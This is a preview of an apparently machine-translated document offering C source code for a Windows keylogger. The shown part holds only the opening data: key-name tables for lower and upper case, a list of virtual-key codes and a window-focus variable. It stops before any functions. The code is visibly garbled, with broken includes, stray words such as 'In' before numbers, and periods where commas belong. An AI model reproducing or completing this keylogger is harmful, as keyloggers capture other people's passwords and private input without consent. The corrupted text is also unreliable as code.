C语言编写键盘记录器源代码(国外英文资料).doc
文本预览下载声明
C语言编写键盘记录器源代码(国外英文资料)
/ / C, the source code for the keyboard recorder (reproduced) is 07:59 PM on Wednesday 16, 2010
# include Windows. H
# include stdio, h
/ / Some Global Variables
/ / Lower Case Key some Other Keys
Char * LowerCase [] = {
B,
E,
[ESC],
[F1],
[F2],
[F3],
[the F4],
[F5],
[F6],
[F7],
[F8],
[F9].
[F10].
[F11],
[F12],
`.
1,
2,
3,
4,
5,
6.
7,
8,
9,
0,
-,
=,
[TAB],
Q,
W,
E,
R,
T,
Y,
U,
I,
O,
P,
[,
].
A,
S,
D,
F,
G,
H.
J,
K,
L,
; ,
,
Z,
X,
C,
V,
B,
N,
M,
,,
. ,
/,
\ \,
[CTRL],
[Windows],
,
[Windows],
[Print Screen],
[Scroll Lock],
[Insert],
[Home].
[PageUp],
[Del],
[End],
[PageDown],
[Left],
[UP].
[Right],
[Down],
[Num Lock]
/,
*,
-,
+,
0,
1,
2,
3,
4,
5,
6.
7,
8,
9,
. ,
};
/ / Upper Case Key Some Other Keys
Char * UpperCase [] = {
B,
E,
[ESC],
[F1],
[F2],
[F3],
[the F4],
[F5],
[F6],
[F7],
[F8],
[F9].
[F10].
[F11],
[F12],
~,
! ,
@,
#,
$,
%,
^,
,
*,
(,
) ,
_,
+,
[TAB],
Q,
W,
E,
R,
T,
Y,
U,
I,
O,
P,
{,
} .
A,
S,
D,
F,
G,
H.
J,
K,
L,
:,
\ ,
Z,
X,
C,
V,
B,
N,
M,
,
,
? ,
|,
[CTRL],
[Windows],
,
[Windows],
[Print Screen],
[Scroll Lock],
[Insert],
[Home].
[PageUp],
[Del],
[End],
[PageDown],
[Left],
[Up].
[Right],
[Down],
[Num Lock]
/,
*,
-,
+,
0,
1,
2,
3,
4,
5,
6.
7,
8,
9,
. ,
};
/ / Ascii Keys, Forget About It
Int SpecialKeys [] = {
8.
13,
27,
In 112,
In 113,
In 114,
In 115,
In 116,
In 117,
In 118,
In 119,
In 120,
In 121,
In 122,
In 123,
In 192,
49,
50.
51,
52,
53.
54.
55,
56.
57.
48.
In 189,
In 187,
9,
In 81,
In 87,
In 69,
In 82,
In 84,
In 89,
In 85,
In 73,
In 79,
In 80,
In 219,
In 221,
In 65,
In 83,
In 68,
In 70,
In 71,
In 72,
In 74,
In 75,
In 76,
In 186,
In 222,
In 90,
In 88,
In 67,
In 86,
In 66,
In 78,
In 77,
In 188,
In 190,
In 191,
In 220,
17,
In 91,
32.
In 92,
44,
In 145,
45.
36.
33.
46.
35,
34,
37.
38,
39,
40,
In 144,
In 111,
In 106,
In 109,
In 107,
In 96,
In 97,
In 98,
In 99,
In 100,
In 101,
In 102,
In 103,
In 104,
In 105,
In 110,
};
HWND PreviousFocus = NULL;
/ / the End Of the Data
/ / the Function ProtoType Declaration
/ / -- -- -- -- -- -- -- -
显示全部